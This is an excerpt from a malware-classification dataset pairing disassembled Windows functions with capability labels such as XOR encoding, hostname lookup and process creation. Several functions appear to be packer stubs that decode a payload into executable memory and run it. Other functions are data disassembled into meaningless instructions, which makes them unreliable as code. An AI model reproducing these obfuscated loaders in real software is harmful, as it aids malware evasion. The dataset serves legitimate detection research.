joyce8/EMBER2024-capa huggingface dataset:
Function at 0x477964
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
mov ebx, eax
lea eax, [ebp - 0xc]
mov edx, dword [0x407690]
call fcn.00405318
xor eax, eax
push ebp
push 0x477b05
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x4841a8], 0
jne 0x4779bf
mov ecx, dword [0x484310]
mov dl, 1
mov eax, dword [0x407c64]
call fcn.0040c8b0
call fcn.004042c4
lea eax, [ebp - 0x28]
xor ecx, ecx
mov edx, 0x10
call fcn.0040338c
mov eax, ebx
call fcn.004051e8
mov dword [ebp - 0x24], eax
mov esi, 0x477b14
lea edi, [ebp - 0x38]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x38]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
call fcn.004062ac
xor eax, eax
mov dword [ebp - 4], eax
mov eax, ebx
call fcn.004051f8
test eax, eax
jle 0x477aa8
mov dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x48]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x477a94
lea eax, [ebp - 0x4c]
lea edx, [ebp - 0x48]
mov ecx, 0x10
call fcn.00404aec
mov edi, dword [ebp - 0x4c]
test edi, edi
je 0x477a3a
sub edi, 4
mov edi, dword [edi]
lea eax, [ebp - 0x50]
mov edx, ebx
call fcn.00404b04
mov esi, dword [ebp - 0x50]
test esi, esi
je 0x477a50
sub esi, 4
mov esi, dword [esi]
push esi
lea eax, [ebp - 0x54]
mov edx, ebx
call fcn.00404b04
mov eax, dword [ebp - 0x54]
call fcn.00404d40
push eax
push edi
lea eax, [ebp - 0x58]
lea edx, [ebp - 0x48]
mov ecx, 0x10
call fcn.00404aec
mov eax, dword [ebp - 0x58]
call fcn.00404d40
push eax
push 1
push 0x400
call sub.kernel32.dll_CompareStringA_1
sub eax, 2
test eax, eax
sete al
jmp 0x477a96
xor eax, eax
test al, al
je 0x477aa1
mov ebx, 0x15
jmp 0x477aad
mov ebx, 0x10
jmp 0x477aad
mov ebx, 0x15
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 0x28]
push eax
push ebx
push 0
mov eax, dword [ebp - 0x10]
push eax
call dword [0x4841a8]
call fcn.004777e8
mov eax, dword [ebp - 4]
call fcn.004777e8
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004062c4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x477b0c
lea eax, [ebp - 0x58]
mov edx, 4
call fcn.004048a0
lea eax, [ebp - 0xc]
mov edx, dword [0x407690]
call fcn.004053e8
ret
Function at 0x417751
Capabilities:
Encode data using xor

Disassembly:
inc edx
add cl, byte [edx + 0x6bbd0e42]
test byte [edx], 0x72
aas
mov ecx, dword [ecx + 0x5302628]
invalid

Function at 0x417c10
Capabilities:
Check os version

Disassembly:
push esi
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push 0x4c5978
mov dword [0x4c5b44], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
mov word [0x4c5c6c], 0x7f
call sub.comdlg32.dll_ChooseColorW
add dword [0x4c5b44], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov esi, eax
and esi, 0xff
cmp esi, 6
setae al
cmp esi, 6
mov byte [0x4c5c4d], al
jb 0x417cb7
push edi
call sub.comdlg32.dll_CommDlgExtendedError
mov ecx, dword [0x4c2064]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ecx
mov dword [0x4c5b44], eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.GetThreadPreferredUILanguages
push eax
call edi
mov edx, dword [0x4c2064]
mov dword [0x4c5998], eax
push edx
call esi
push str.SetThreadPreferredUILanguages
push eax
call edi
mov dword [0x4c5994], eax
mov eax, dword [0x4c2064]
push eax
call esi
push str.GetThreadUILanguage
push eax
call edi
mov esi, eax
pop edi
mov dword [0x4c5990], esi
push 0x4c5978
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, esi
pop esi
ret

Function at 0x4a17f5
Capabilities:
Encode data using xor

Disassembly:
push eax
fisubr word [ebx - 0x57f30a3c]
test al, 0x7a
invalid
or dword [0xe97587fc], ebp
mov al, 0x31
lds edi, [edi - 0x3f90b6ef]
rol byte [esi + esi*4 + 0x6673fea0], 0x82
ror byte [ebx], 0xc0
add byte [esp + eax*4 - 0x7957207d], cl
test al, 0x86
or dword [esi - 0x74], ebx
pop ds
mov dh, 0xa0
invalid
pop ebp
inc ecx
enter 0xffffffffffff821e, 0x51
inc ebp
xchg edx, eax
mov al, byte [0x8b43678a]
bound esi, qword [0xc545fbf5]
ja 0x4a17c7
sti
inc ebp
lds esi, [edi - 0x41]
pushfd
aaa
fild dword [ebx + 0x6b]
sahf
inc ebp
push ecx
sal byte [ecx + 0x5d], 1
shl byte [0x84c2a1ca], 0x6a
stosb byte es:[edi], al
xor esi, esp
dec edi
push ecx
rcr dword [ebx + 8], 0xad
loopne 0x4a1803
Function at 0x4ba3d9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c23d8
cmp edx, dword [eax]
je 0x4ba3fb
add eax, 8
inc ecx
cmp eax, 0x4c2468
jl 0x4ba3ec
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c23d8]
jne 0x4ba529
mov eax, dword [0x4c6d84]
cmp eax, 1
je 0x4ba503
test eax, eax
jne 0x4ba42c
cmp dword [0x4c2300], 1
je 0x4ba503
cmp edx, 0xfc
je 0x4ba529
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4ba463
lea eax, [ebp - 0x1a4]
push 0x4bf8d0
push eax
call fcn.004badc0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bb250
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4ba4a6
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bb250
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4bf8cc
push edi
call fcn.004bd120
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4bf8b0
push eax
call fcn.004badc0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004badd0
lea eax, [ebp - 0xa0]
push 0x4bf8ac
push eax
call fcn.004badd0
push dword [esi + 0x4c23dc]
lea eax, [ebp - 0xa0]
push eax
call fcn.004badd0
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4bf884
push eax
call fcn.004bd094
add esp, 0x2c
pop edi
jmp 0x4ba529
lea eax, [ebp + 8]
lea esi, [esi + 0x4c23dc]
push 0
push eax
push dword [esi]
call fcn.004bb250
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x406840
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
pop ebp
in al, dx
adc byte [eax + eax - 0x3174ad00], ah
or byte [esi + 0x57], dl
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
je 0x4069ef
mov ecx, dword [ebx + 0x73]
test ecx, ecx
imul eax, dword [esp + ebp*4 + 0x26000001], 0x4e8b0c75
adc al, 0x8d
push esi
sub byte [ecx + 0x4c], dl
push eax
call dword [sym.imp.WSOCK32.dll_connect]
cmp eax, 0xffffffff
jne 0x4069b8
mov esi, dword [0x39c1e1]
call esi
test eax, eax
je 0x40698a
call esi
add eax, 0xafc80
cmp eax, 0xb23c8
jne 0x5269f4
mov ebp, dword [ecx]
and byte [ebx - 0x3874db8d], cl
or eax, esi
jne 0x4068bd
pop edi
pop esi
mov eax, 0xb23b4
pop ebx
mov esp, ebp
inc eax
ret 8
mov eax, dword [ebx + 4]
mov ecx, 0x701
test esi, esi
mov dword [ebp - 0x8a02f3], eax
mov edi, esp
invalid
pop edi
pop esi
xor eax, eax
pop ebx
add esp, ebp
pop ebp
ret 0xc808
mov eax, dword [ebx + 0x10]
mov dword [ebx + 0x14], esi
sbb word [eax + 0x2a], 0
jne 0x4069cc
mov dword [ebx + 0x2c], 0xa8
mov ecx, dword [eax + 0x18]
mov esi, dword [eax + 0x15]
mov edi, 0xac042c
xor edx, edx
invalid
mov eax, 0x9c09f4ef
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
in eax, dx
invalid
inc eax

Function at 0x40a3e0
Capabilities:
Terminate process

Disassembly:
dec ebx
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x40a40a
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
cli
salc
mov ch, 0xc0
jne 0x40a3fe
pop esi
pop ebp
ret 8
mov eax, dword [0xfc8005d6]
or al, byte [eax]
jmp 0x40a464
pop ebx
rcr byte [ebp - 0x3e], 8
out dx, al
mov eax, 0x4e3b
pop ebp
in al, dx
or byte [eax], al
nop
in al, 0x90
nop
nop
sahf
nop
ret
sub byte [edi], al
inc ecx
add byte [edi], al
adc eax, 0x40c00b
mov eax, dword [ebp + 8]
xor eax, 0x405720
push 0x3740a470
push 0x410728
push eax
dec edi
mov eax, dword [0x33ffffb1]
rcr byte [ebp + 0xd], 0x90
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, 0xf06ada90
inc ecx
add ah, al
adc eax, sym.imp.KERNEL32.dll_DeleteCriticalSection
jno 0x40a43d
ret
Function at 0x40595e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x40596d
pop dword [ebp - 0x20]
mov eax, 0x40596d
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xe12a9a3
sub dword [ebp - 0x30], 0xbfc06458
mov dword [ebp - 0x2c], 0xc86f5063
sub dword [ebp - 0x2c], 0x963c041e
mov dword [ebp - 0x28], 0xd76508c9
sub dword [ebp - 0x28], 0x8b18c49b
mov dword [ebp - 0x24], 0xa8386113
sub dword [ebp - 0x24], 0xa8386113
lea eax, [ebp - 0x30]
push eax
mov eax, 0x5ca134b3
sub eax, 0x5c60c453
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x985f080d
add dword [ebp - 0x30], 0xdc136149
mov dword [ebp - 0x2c], 0x1c7948f5
sub dword [ebp - 0x2c], 0xdb0ce780
mov dword [ebp - 0x28], 0x5442e74e
sub dword [ebp - 0x28], 0xf0d37ae2
mov dword [ebp - 0x24], 0x7e2ee0db
add dword [ebp - 0x24], 0x81d11f25
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0xdcf7be8a
add eax, 0x2348b276
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x38153
push 0
call eax
mov ecx, 0x12988eca
add ecx, 0xed67bead
mov edi, eax
mov ebx, 0x410000
add ebx, dword [ebp - 0x20]
mov edx, 0x3fe5140d
mov esi, dword [ebx]
add dword [ebp - 0xc], edi
xor esi, edx
sub dword [ebp - 0x10], ebx
mov dword [edi], esi
xor dword [ebp - 0x18], esi
add edi, 0x1f681ec
add edi, 0xfe097e18
add ebx, 0x580b0e54
add ebx, 0xa7f4f1b0
loop 0x405a7e
add eax, 0x555d36a7
sub eax, 0x555c0df8
mov ebx, eax
add eax, 5
mov ecx, 0xe5f07dcb
add ecx, 0x1a4f8235
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x406937
Capabilities:
Terminate process

Disassembly:
push 0x58
push 0x40b138
call fcn.00406c3c
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.kernel32.dll_GetStartupInfoA]
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 4], 1
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, 0x40dbfc
push 0
push esi
push edi
call dword [sym.imp.kernel32.dll_InterlockedCompareExchange]
test eax, eax
je 0x4066d6
cmp eax, esi
jne 0x4066c9
xor esi, esi
inc esi
mov ebx, esi
jmp 0x4066d9
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
jmp 0x4066b0
xor esi, esi
inc esi
mov eax, dword [0x40dbf8]
cmp eax, esi
jne 0x4066ec
push 0x1f
call sub.MSVCR80.dll__amsg_exit
pop ecx
jmp 0x40671b
mov eax, dword [0x40dbf8]
test eax, eax
jne 0x406715
mov dword [0x40dbf8], esi
push 0x4072cc
push 0x4072c4
call sub.MSVCR80.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x40671b
jmp 0x406843
mov dword [0x40c2cc], esi
mov eax, dword [0x40dbf8]
cmp eax, esi
jne 0x40673f
push 0x4072c0
push 0x4072b8
call sub.MSVCR80.dll__initterm
pop ecx
pop ecx
mov dword [0x40dbf8], 2
test ebx, ebx
jne 0x40674b
push ebx
push edi
call dword [sym.imp.kernel32.dll_InterlockedExchange]
cmp dword [0x40dc08], 0
je 0x40676f
push 0x40dc08
call fcn.00406bc2
pop ecx
test eax, eax
je 0x40676f
push 0
push 2
push 0
call dword [0x40dc08]
mov eax, dword [sym.imp.MSVCR80.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x4067cb
test al, al
je 0x406789
cmp dword [ebp - 0x1c], 0
jne 0x4067cb
mov al, byte [esi]
test al, al
je 0x406799
cmp al, 0x20
ja 0x406799
inc esi
mov dword [ebp - 0x20], esi
jmp 0x406789
test byte [ebp - 0x3c], 1
je 0x4067a5
movzx eax, word [ebp - 0x38]
jmp 0x4067a8
push 0xa
pop eax
push eax
push esi
push 0
push 0x400000
call main
mov dword [0x40c2c8], eax
cmp dword [0x40c2bc], 0
jne 0x40681f
push eax
call dword [sym.imp.MSVCR80.dll_exit]
cmp al, 0x22
jne 0x4067da
xor ecx, ecx
cmp dword [ebp - 0x1c], ecx
sete cl
mov dword [ebp - 0x1c], ecx
movzx eax, al
push eax
call dword [sym.imp.MSVCR80.dll__ismbblead]
pop ecx
test eax, eax
je 0x4067ed
inc esi
mov dword [ebp - 0x20], esi
inc esi
jmp 0x406776
cmp dword [0x40c2cc], 0
jne 0x40682e
call dword [sym.imp.MSVCR80.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x40c2c8]
jmp 0x40684f
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.00406c81
ret
call fcn.0040595e
jmp 0x406676

Function at 0x40d308
Capabilities:
Encode data using xor

Disassembly:
mov dh, 0x9e
sahf
xchg edi, eax
pop ds
or al, 0x43
mov bh, 0x67
xor edx, esi
jae 0x40d309
sahf
mov dword [ebp + 0x3a], edx
arpl word [edi - 0x6e392676], sp
fnstcw word [edx + 0x78]
sbb byte [esi + 0x5e], al
push es
jg 0x40d309
or eax, 0x3b44741e
adc eax, 0x2cc8c4c8
jl 0x40d34c
invalid
cmp byte [ebp - 0x23], ah
adc eax, 0xbc35f2a9
pop ds
hlt
Function at 0x40672b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x40673a
pop dword [ebp - 0x10]
mov eax, 0x14aa5e59
add eax, 0xeb9608e1
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x58fee5d4
add dword [ebp - 0x20], 0xf5535f77
mov dword [ebp - 0x1c], 0x20ceb41c
sub dword [ebp - 0x1c], 0xee9b67d7
mov dword [ebp - 0x18], 0x90494bf
add dword [ebp - 0x18], 0x4347af6f
mov dword [ebp - 0x14], 0x9788a880
add dword [ebp - 0x14], 0x68775780
lea eax, [ebp - 0x20]
push eax
mov eax, 0x29201df9
sub eax, 0x28df9cf5
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x6fdda184
sub dword [ebp - 0x20], 0xfb6b382e
mov dword [ebp - 0x1c], 0x72c1a217
sub dword [ebp - 0x1c], 0x315540a2
mov dword [ebp - 0x18], 0xae845f7c
sub dword [ebp - 0x18], 0x4b14f310
mov dword [ebp - 0x14], 0x212cf60
sub dword [ebp - 0x14], 0x212cf60
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x1d980c72
sub eax, 0x1d578b72
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x39029
push 0
call eax
mov ecx, 0x4dfa
xor edx, edx
add edx, eax
mov esi, 0x11a5ce18
add esi, 0xeea115e8
add esi, dword [ebp - 0x10]
mov ebx, 0xa6a9df39
add ebx, 0xdf9e0ce2
xor dword [ebp - 0xc], ecx
mov edi, dword [esi]
mov dword [ebp - 4], 0xd46bc0f4
sub edi, ebx
sub dword [ebp - 4], 0x70adf128
mov dword [edx], edi
sub dword [ebp - 0xc], 0x7da3cf69
add edx, 4
add esi, 0x6c63d2c2
add esi, 0x939c2d42
loop 0x406858
add eax, 0x12abb
xor ebx, ebx
add ebx, eax
add eax, 0xacc1d126
sub eax, 0xacc1d121
mov ecx, 0x400000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x1039cdb8
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1039cdc2
pushal
call 0x1039cdc8
pop ebp
sub ebp, 0x10
sub ebp, 0x39cdb8
mov al, byte [esp + 0x28]
cmp al, 1
je 0x1039cdec
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x1039cdf5
mov eax, 0x39cdb8
add eax, ebp
add eax, 0x63
mov ecx, 0x609
mov edx, 0x8f219639
xor byte [eax], dl
inc eax
dec ecx
jne 0x1039ce0c
jmp 0x1039ce1f
mov dl, 0xf4
mov dl, pe_nt_image_headers32
add eax, 0xb8393939
clc
sar dword [ecx], 0x39
cmp dword [edx], edi
hlt
Function at 0x404a30
Capabilities:
Get common file path

Disassembly:
sub esp, 0x100
push esi
mov esi, ecx
push 0x100
lea eax, [esp + 8]
push eax
mov dword [esi + 8], 0
mov dword [esi], 0
mov dword [esi + 4], 7
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x404a7a
lea eax, [esp + 4]
lea edx, [esi + 0x18]
mov ecx, eax
sub edx, ecx
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x404a70
mov eax, dword [str.ATILOG.LOG]
lea edx, [esi + 0xc]
mov dword [edx], eax
mov ecx, dword [0x417578]
mov dword [edx + 4], ecx
mov ax, word [0x41757c]
mov word [edx + 8], ax
mov cl, byte [0x41757e]
mov eax, esi
mov byte [edx + 0xa], cl
pop esi
add esp, 0x100
ret
Function at 0x404b70
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x1124
call fcn.00409d20
push ebx
mov ebx, ecx
cmp dword [ebx], 0
push ebp
mov ebp, 4
je 0x404d3d
mov eax, dword [ebx + 8]
test eax, eax
push esi
push edi
jne 0x404c5b
lea eax, [ebx + 0x18]
lea edx, [esp + 0x24]
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x404ba2
lea edi, [esp + 0x24]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x404bb1
mov ax, word [0x4175ac]
mov word [edi], ax
lea eax, [ebx + 0xc]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404bc7
lea edi, [esp + 0x24]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x404bd5
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov al, byte [ebx + 4]
and ecx, 3
test al, 1
rep movsb byte es:[edi], byte [esi]
je 0x404bf9
mov ebp, 5
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push ebp
push 0
push 3
push 0xc0000000
lea ecx, [esp + 0x3c]
push ecx
call esi
cmp eax, 0xffffffff
mov dword [ebx + 8], eax
jne 0x404c3b
push 0
push 0x80
push 4
push 0
push 3
push 0xc0000000
lea edx, [esp + 0x3c]
push edx
call esi
mov dword [ebx + 8], eax
mov eax, dword [ebx + 8]
cmp eax, 0xffffffff
je 0x404c50
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebx + 8]
test eax, eax
je 0x404d3b
test byte [ebx + 4], 2
je 0x404cab
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [esp + 0x1e]
movzx edx, word [esp + 0x1c]
movzx eax, word [esp + 0x1a]
push ecx
movzx ecx, word [esp + 0x1c]
push edx
movzx edx, word [esp + 0x1e]
push eax
movzx eax, word [esp + 0x1e]
push ecx
movzx ecx, word [esp + 0x20]
push edx
push eax
push ecx
lea edx, [esp + 0x150]
push str.TIME___4d__2d__2d__2d:_2d:_2d:_3d__:
push edx
call fcn.00409b56
add esp, 0x24
mov eax, dword [esp + 0x1138]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404cb4
lea edi, [esp + 0x134]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x404cc5
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov al, byte [ebx + 4]
and ecx, 3
test al, 4
rep movsb byte es:[edi], byte [esi]
je 0x404d0a
lea edi, [esp + 0x134]
dec edi
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x404cf0
mov ax, word [0x417580]
mov cl, byte [0x417582]
mov word [edi], ax
mov byte [edi + 2], cl
lea eax, [esp + 0x134]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404d14
mov ecx, dword [ebx + 8]
sub eax, edx
push 0
lea edx, [esp + 0x24]
push edx
push eax
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x140]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1124
ret 4
Function at 0x404d50
Capabilities:
Print debug messages

Disassembly:
mov eax, dword [esp + 8]
push esi
mov esi, dword [esp + 8]
cmp eax, dword [esi + 0xa8]
jb 0x404d9c
cmp eax, dword [esi + 0xac]
ja 0x404d9c
push edi
mov edi, dword [esp + 0x14]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404d73
sub eax, edx
cmp eax, 0x50
jae 0x404d9b
mov eax, dword [esp + 0x18]
push eax
add esi, 0x50
push edi
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
pop edi
pop esi
ret
Function at 0x4050f0
Capabilities:
Accept command line arguments
Create process on windows
Get common file path
Read .ini file

Disassembly:
sub esp, 0x168
push edi
mov dword [esp + 4], ecx
call fcn.00406270
mov dword [esp + 0xc], eax
push 0x100
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jbe 0x405161
lea edi, [esp + 0x28]
dec edi
lea ecx, [ecx]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x405120
mov cx, word [0x4175ac]
mov word [edi], cx
lea edi, [esp + 0x28]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x405137
mov edx, dword [str.ATISMART.INI]
mov eax, dword [0x417644]
mov ecx, dword [0x417648]
mov dword [edi], edx
mov dl, byte [0x41764c]
mov dword [edi + 4], eax
mov dword [edi + 8], ecx
mov byte [edi + 0xc], dl
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
lea eax, [esp + 0x34]
push eax
push 0
push str.ENABLELOG
push str.SETTINGS
call esi
lea ecx, [esp + 0x34]
push ecx
push 7
push str.LOGFLAGS
push str.SETTINGS
mov edi, eax
call esi
lea edx, [esp + 0x34]
push edx
push 0x20
push str.SURFBPP
push str.SETTINGS
mov ebx, eax
call esi
mov dword [esp + 0x14], eax
lea eax, [esp + 0x34]
push eax
push 0x280
push str.SURFWIDTH
push str.SETTINGS
call esi
lea ecx, [esp + 0x34]
push ecx
push 0x1e0
push str.SURFHEIGHT
push str.SETTINGS
mov dword [esp + 0x30], eax
call esi
lea edx, [esp + 0x34]
push edx
push 1
push str.TEST
push str.SETTINGS
mov dword [esp + 0x2c], eax
call esi
mov ebp, eax
lea eax, [esp + 0x34]
push eax
push 0xffffffffffffffff
push str.FORCEOUTPUT
push str.SETTINGS
call esi
test edi, edi
mov edi, dword [esp + 0x10]
je 0x405229
cmp ebp, 1
mov dword [edi + 0x1934], 1
jle 0x405221
and ebx, 0xfffffffe
mov dword [edi + 0x1938], ebx
jmp 0x405237
mov ecx, dword [esp + 0x10]
mov dword [ecx + 0x1934], 0
test eax, eax
jl 0x405245
cmp eax, 0x1f
jg 0x405245
push 1
push eax
jmp 0x405249
push 0
push 0
lea esi, [edi + 0x78]
mov ecx, esi
call fcn.004031c0
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x14]
push edx
push eax
push ecx
mov ecx, esi
call fcn.00402e60
mov ecx, esi
call fcn.00404970
test eax, eax
je 0x40527c
push ebp
mov ecx, esi
call fcn.00403c00
mov eax, dword [esp + 0x18]
cmp eax, 0x11
pop esi
pop ebp
pop ebx
je 0x40528d
cmp eax, 0x12
jne 0x40530c
mov eax, dword [edi + 0x1a4c]
test eax, eax
je 0x40530c
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea edx, [esp + 0x28]
mov cl, byte [eax]
inc eax
mov byte [edx], cl
inc edx
test cl, cl
jne 0x4052a1
lea edi, [esp + 0x28]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4052b0
mov edx, dword [0x4175e4]
xor eax, eax
mov dword [esp + 0x18], eax
mov dword [edi], edx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov ecx, 0x11
lea edi, [esp + 0x128]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x12c]
push edx
push eax
push eax
push 0x20
push eax
push eax
push eax
mov dword [esp + 0x44], eax
lea eax, [esp + 0x48]
push eax
push 0
mov dword [esp + 0x150], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
add esp, 0x168
ret
Function at 0x405760
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x400
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
mov eax, dword [esp + 0x408]
add eax, 4
push eax
lea ecx, [esp + 8]
push str.__s___lu_:
push ecx
call fcn.00409b56
lea eax, [esp + 0x10]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405791
mov ecx, dword [esp + 0x408]
sub eax, edx
push edi
lea edx, [esp + 0x410]
push edx
push ecx
lea edx, [esp + eax + 0xc]
push edx
call fcn.0040a354
lea edi, [esp + 0x10]
add esp, 0xc
dec edi
lea ecx, [ecx]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4057c0
mov ax, word [0x417684]
lea ecx, [esp + 4]
push ecx
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
pop edi
add esp, 0x400
ret